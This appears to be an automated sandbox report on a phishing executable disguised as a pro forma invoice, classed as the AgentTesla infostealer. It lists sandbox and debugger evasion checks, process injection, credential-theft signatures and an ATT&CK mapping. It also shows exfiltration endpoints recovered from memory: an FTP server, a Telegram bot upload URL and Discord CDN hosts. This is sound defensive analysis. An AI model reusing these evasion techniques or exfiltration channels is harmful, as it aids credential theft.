Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Window / User API: threadDelayed 639			Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Window / User API: threadDelayed 9198			Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe TID: 5596	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe TID: 5596	Thread sleep time: -45194522980588373s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe TID: 5512	Thread sleep count: 639 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe TID: 5512	Thread sleep count: 9198 > 30	Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919809687.0000000005760000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919809687.0000000005760000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919809687.0000000005760000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.919809687.0000000005760000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Code function: 11_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

11_2_0040CE09

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

11_2_004019F0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Code function: 11_2_0040ADB0 GetProcessHeap,HeapFree,

11_2_0040ADB0

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040CE09
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040E61C
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00416F6A
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_2_004123F1 SetUnhandledExceptionFilter,	11_2_004123F1
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040CE09
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_1_0040E61C
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_1_00416F6A
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: 11_1_004123F1 SetUnhandledExceptionFilter,	11_1_004123F1

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Memory written: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Process created: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Jump to behavior

Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.916311863.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.916311863.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.916311863.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.916311863.0000000000CB0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: GetLocaleInfoA,		11_2_00417A20
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Code function: GetLocaleInfoA,		11_1_00417A20

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	Queries volume information: unknown VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Code function: 11_2_00412A15 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

11_2_00412A15

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Code function: 11_2_05BB4744 GetUserNameW,

11_2_05BB4744

Source: C:\Users\user\Desktop\PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.917038973.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.916512263.0000000002380000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.765764476.000000000086E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.916402342.00000000022A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944, type: MEMORY
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.raw.unpack, type: UNPACKEDPE

Source: Yara match	File source: 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0000000B.00000002.918795043.00000000036E4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.917038973.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.916512263.0000000002380000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.765764476.000000000086E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.916402342.00000000022A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe PID: 6944, type: MEMORY
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2380000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.2680000.2.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	Process Injection112	Virtualization/Sandbox Evasion13	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Security Software Discovery141	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Virtualization/Sandbox Evasion13	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Process Discovery3	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing21	Cached Domain Credentials	Application Window Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	Account Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Owner/User Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	System Information Discovery124	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	56%	ReversingLabs	Win32.Infostealer.Fareit
PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
11.1.PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
ftp://ftp.kunwersachdev.com/maerst	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://JvKUzM.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.137.232	true	false		unknown
cdn.discordapp.com	162.159.135.233	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
ftp://ftp.kunwersachdev.com/maerst	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://JvKUzM.com	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://gorohov.narod.ru/index.htmS	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	false		high
http://gorohov.narod.ru/index.htm	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false		high
https://api.ipify.orgGETMozilla/5.0	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe, 0000000B.00000002.918550525.00000000027B7000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.137.232	unknown	United States		13335	CLOUDFLARENETUS	false
162.159.135.233	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	324081
Start date:	28.11.2020
Start time:	10:30:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.evad.winEXE@3/0@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 4.8% (good quality ratio 4.6%) Quality average: 82.9% Quality standard deviation: 26.9%
HCA Information:	Successful, ratio: 98% Number of executed functions: 39 Number of non-executed functions: 35
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 40.88.32.150, 51.11.168.160, 92.122.213.194, 92.122.213.247, 52.255.188.83, 2.20.142.209, 2.20.142.210, 52.155.217.156, 20.54.26.129, 51.104.144.132 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, arc.msn.com.nsatc.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, skypedataprdcoleus15.cloudapp.net, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/324081/sample/PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe

Simulations

Behavior and APIs

Time	Type	Description
10:31:06	API Interceptor	406x Sleep call for process: PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.137.232	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse
	Scan 25112020 pdf.exe	Get hash	malicious	Browse
	Q21rQw2C4o.exe	Get hash	malicious	Browse
	tzjEwwwbqK.exe	Get hash	malicious	Browse
	oUI0jQS8xQ.exe	Get hash	malicious	Browse
	NyUnwsFSCa.exe	Get hash	malicious	Browse
	PO#0007507_009389283882873PDF.exe	Get hash	malicious	Browse
	LAX28102020HBL_AMSLAX1056_CTLQD06J0BL_PO_DTH266278_RFQ.exe	Get hash	malicious	Browse
	8fJPaTfN8D.exe	Get hash	malicious	Browse
	LJLMG5Syza.exe	Get hash	malicious	Browse
	oAkfKRTCvN.exe	Get hash	malicious	Browse
	eybgvwBamW.exe	Get hash	malicious	Browse
	R#U00d6SLER Puchase_tcs 10-28-2020,pdf.exe	Get hash	malicious	Browse
	#U8ba2#U5355#U786e#U8ba4,pdf.exe	Get hash	malicious	Browse
	Documentos_ordine.exe	Get hash	malicious	Browse
	ShipmentReceipt.exe	Get hash	malicious	Browse
	ShipmentReceipt.exe	Get hash	malicious	Browse
	PO102620.exe	Get hash	malicious	Browse
	Albawardi Group Project offer description 678467463756382020.exe	Get hash	malicious	Browse
162.159.135.233	Vessel details.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/780175015496777751/781048233136226304/mocux.exe
162.159.135.233	Teklif Rusya 24 09 2020.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/733818080668680222/758418625429372978/p2.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
discord.com	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.128.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	162.159.128.233
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.137.232
	caw.exe	Get hash	malicious	Browse	162.159.138.232
	lxpo.exe	Get hash	malicious	Browse	162.159.128.233
	SpecificationX20202611.xlsx	Get hash	malicious	Browse	162.159.136.232
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.137.232
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.137.232
